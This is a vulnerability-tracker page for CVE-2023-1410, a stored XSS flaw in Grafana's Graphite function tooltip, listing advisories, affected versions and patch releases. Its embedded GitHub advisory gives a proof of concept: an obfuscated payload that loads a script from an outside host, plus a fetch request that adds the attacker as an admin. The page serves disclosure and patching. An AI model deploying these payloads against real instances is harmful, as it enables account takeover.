Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Stored XSS in Graphite FunctionDescription tooltip

CVSS 3.1 6.2 MEDIUMEUVD CVSS 3.1 6.2 CVSS 3.1 · [email protected] · Secondary 6.2 MEDIUMCVSS 3.1 · [email protected] · Primary 4.8 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/grafana/grafana 8.5.22Fixed by github.com/grafana/grafana 9.3.11Fixed by github.com/grafana/grafana 9.4.7Fixed by github.com/grafana/grafana 9.2.15KEV status unknown

cve-program · CVE-2023-1410

Published

Grafana is an open-source platform for monitoring and observability.  Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip. The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized. An attacker needs to have control over the Graphite data source in order to manipulate a function description and a Grafana admin needs to configure the data source, later a Grafana user needs to select a tampered function and hover over the description.  Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

Read the publisher's advisory

euvd · EUVD-2023-1084

Published

Grafana is an open-source platform for monitoring and observability.  Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip. The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized. An attacker needs to have control over the Graphite data source in order to manipulate a function description and a Grafana admin needs to configure the data source, later a Grafana user needs to select a tampered function and hover over the description.  Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

Read the publisher's advisory

nvd · CVE-2023-1410

Published

Grafana is an open-source platform for monitoring and observability.  Grafana had a stored XSS vulnerability in the Graphite FunctionDescription tooltip. The stored XSS vulnerability was possible due the value of the Function Description was not properly sanitized. An attacker needs to have control over the Graphite data source in order to manipulate a function description and a Grafana admin needs to configure the data source, later a Grafana user needs to select a tampered function and hover over the description.  Users may upgrade to version 8.5.22, 9.2.15 and 9.3.11 to receive a fix.

Read the publisher's advisory

osv · GHSA-qrrg-gw7w-vp76

Published

### Summary When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use `Functions`. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example. ### Details 1. Spin up your own Graphite instance. I've done this using the `make devenv sources=graphite`. 2. Now start a terminal for your Graphite container and modify the following file `/opt/graphite/webapp/graphite/render/functions.py` 3. Basically you can pick any function but I picked the `aggregateSeriesLists` function. Modify its description to be `"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>` The result would look like this: ```python def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None): """ "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))> """ if len(seriesListFirstPos) != len(seriesListSecondPos): raise InputParameterError( "seriesListFirstPos and seriesListSecondPos argument must have equal length") results = [] for i in range(0, len(seriesListFirstPos)): firstSeries = seriesListFirstPos[i] secondSeries = seriesListSecondPos[i] aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) if not aggregated: # empty list, no data found continue result = aggregated[0] # aggregate() can only return len 1 list result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name) results.append(result) return results aggregateSeriesLists.group = 'Combine' aggregateSeriesLists.params = [ Param('seriesListFirstPos', ParamTypes.seriesList, required=True), Param('seriesListSecondPos', ParamTypes.seriesList, required=True), Param('func', ParamTypes.aggFunc, required=True), Param('xFilesFactor', ParamTypes.float), ] ``` 4. Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop) 5. Now login to your Grafana instance as an Organisation Admin. 6. Navigate to http://[grafana]/plugins/graphite and click `Create a Graphite data source` 7. Add the url to the attackers Graphite instance (maybe enable `Skip TLS Verify`) and click `Save & test` and `Explore` 8. In the newly opened page click the + icon next to `Functions` and search for `aggregateSeriesLists` and click it to add it. 9. Now hover over `aggregateSeriesLists` with your mouse and move your mouse to the `?` icon. ### Result Our payload will trigger and in this case it will include an external script to trigger the alerts. #### Decoded payload ```javascript var a=document.createElement("script");a.src="https://cm2.tel";document.body.appendChild(a); ``` ![image](https://user-images.githubusercontent.com/26874824/225035735-5d00e5d9-3302-4257-8f95-dd562e752893.png) ### Impact In the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves. An example would be something like this: ```javascript fetch("/api/org/invites", { "headers": { "content-type": "application/json" }, "body": "{\"name\":\"\",\"email\":\"\",\"role\":\"Admin\",\"sendEmail\":true,\"loginOrEmail\":\"[email protected]\"}", "method": "POST", "credentials": "include" }); ``` ### Mitigation The vulnerability seems to occur in the following file: public\app\plugins\datasource\graphite\components\FunctionEditorControls.tsx ```typescript const FunctionDescription = React.lazy(async () => { // @ts-ignore const { default: rst2html } = await import(/* webpackChunkName: "rst2html" */ 'rst2html'); return { default(props: { description?: string }) { return <div dangerouslySetInnerHTML={{ __html: rst2html(props.description ?? '') }} />; }, }; }); ``` In many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2023-1410

Published

Grafana

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "defaultStatus": "unaffected",
                    "product": "Grafana",
                    "vendor": "Grafana",
                    "versions": [
                        {
                            "lessThan": "8.5.22",
                            "status": "affected",
                            "version": "8.0.0",
                            "versionType": "semver"
                        },
                        {
                            "lessThan": "9.2.15",
                            "status": "affected",
                            "version": "9.0.0",
                            "versionType": "semver"
                        },
                        {
                            "lessThan": "9.3.11",
                            "status": "affected",
                            "version": "9.3.0",
                            "versionType": "semver"
                        }
                    ]
                }

Grafana Enterprise

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "defaultStatus": "unaffected",
                    "product": "Grafana Enterprise",
                    "vendor": "Grafana",
                    "versions": [
                        {
                            "lessThan": "8.5.22",
                            "status": "affected",
                            "version": "8.0.0",
                            "versionType": "semver"
                        },
                        {
                            "lessThan": "9.2.15",
                            "status": "affected",
                            "version": "9.0.0",
                            "versionType": "semver"
                        },
                        {
                            "lessThan": "9.3.11",
                            "status": "affected",
                            "version": "9.3.0",
                            "versionType": "semver"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2023-1084

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 23, 2023, 7:48:56 AM

dateUpdated: Mar 4, 2025, 9:22:03 PM

12 related source bulletins · separate from aliases

SUSE-SU-2023:1904-1: Security update for grafana

CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1410

SUSE-SU-2023:2579-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155 · CVE-2022-27191 · CVE-2022-27664 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-41715 · CVE-2022-46146 · CVE-2023-1387 · CVE-2023-1410

RHSA-2023:7741: Red Hat Security Advisory: Red Hat Ceph Storage 6.1 security, enhancements, and bug fix update

CVE-2023-1387 · CVE-2023-1410 · CVE-2023-2183 · CVE-2023-2801 · CVE-2023-39325 · CVE-2023-44487

SUSE-SU-2023:2578-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155 · CVE-2022-27664 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-41715 · CVE-2022-46146 · CVE-2023-1387 · CVE-2023-1410

openSUSE-SU-2024:12855-1: grafana-9.4.7-1.1 on GA media

CVE-2023-1410

WID-SEC-W-2023-1130: GitLab: Mehrere Schwachstellen

CVE-2023-2182 · CVE-2023-2069 · CVE-2023-1965 · CVE-2023-1836 · CVE-2023-1621 · CVE-2023-1410 · CVE-2023-1265 · CVE-2023-1178 · CVE-2023-0805 · CVE-2023-0756 · CVE-2023-0464 · CVE-2022-4376

SUSE-SU-2024:0196-1: Security Beta update for SUSE Manager Client Tools and Salt

CVE-2020-7753 · CVE-2021-20178 · CVE-2021-20180 · CVE-2021-20191 · CVE-2021-20228 · CVE-2021-3447 · CVE-2021-3583 · CVE-2021-3620 · CVE-2021-36222 · CVE-2021-3711 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-41174 · CVE-2021-41244 · CVE-2021-43138 · CVE-2021-43798 · CVE-2021-43813 · CVE-2021-43815 · CVE-2022-0155 · CVE-2022-23552 · CVE-2022-27664 · CVE-2022-29170 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-31123 · CVE-2022-31130 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-39201 · CVE-2022-39229 · CVE-2022-39306 · CVE-2022-39307 · CVE-2022-39324 · CVE-2022-41715 · CVE-2022-41723 · CVE-2022-46146 · CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1387 · CVE-2023-1410 · CVE-2023-2183 · CVE-2023-2801 · CVE-2023-3128

SUSE-SU-2024:0191-1: Security Beta update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-36222 · CVE-2021-3711 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-39226 · CVE-2021-41174 · CVE-2021-41244 · CVE-2021-43138 · CVE-2021-43798 · CVE-2021-43813 · CVE-2021-43815 · CVE-2022-0155 · CVE-2022-21673 · CVE-2022-21698 · CVE-2022-21702 · CVE-2022-21703 · CVE-2022-21713 · CVE-2022-23552 · CVE-2022-27191 · CVE-2022-27664 · CVE-2022-29170 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-31123 · CVE-2022-31130 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2022-39201 · CVE-2022-39229 · CVE-2022-39306 · CVE-2022-39307 · CVE-2022-39324 · CVE-2022-41715 · CVE-2022-41723 · CVE-2022-46146 · CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1387 · CVE-2023-1410 · CVE-2023-2183 · CVE-2023-2801 · CVE-2023-3128 · CVE-2023-40577

SUSE-SU-2023:1902-1: Security update for SUSE Manager Client Tools

CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1410

WID-SEC-W-2023-0726: Grafana: Schwachstelle ermöglicht Cross-Site Scripting

CVE-2023-1410

SUSE-SU-2023:1903-1: Security update for SUSE Manager Client Tools

CVE-2023-0507 · CVE-2023-0594 · CVE-2023-1410

SUSE-SU-2023:2575-1: Security update for SUSE Manager Client Tools

CVE-2020-7753 · CVE-2021-3807 · CVE-2021-3918 · CVE-2021-43138 · CVE-2022-0155 · CVE-2022-27664 · CVE-2022-31097 · CVE-2022-31107 · CVE-2022-32149 · CVE-2022-35957 · CVE-2022-36062 · CVE-2023-1387 · CVE-2023-1410

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2023-1410

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-79

Original publisher date fields

published: 2023-03-23T08:15:12.470

lastModified: 2026-06-17T05:27:54.033

1 source CPE criteria · context only
  • cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-qrrg-gw7w-vp76

Published

github.com/grafana/grafana

Go

SEMVER · introduced 8.0.0 → fixed 8.5.22

github.com/grafana/grafana

Go

SEMVER · introduced 9.3.0 → fixed 9.3.11

github.com/grafana/grafana

Go

SEMVER · introduced 9.4.0 → fixed 9.4.7

github.com/grafana/grafana

Go

SEMVER · introduced 9.0.0 → fixed 9.2.15

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 25 Nov 15:36 UTC · 277 of 278 readable · 272 fully read · documentation 469/469 current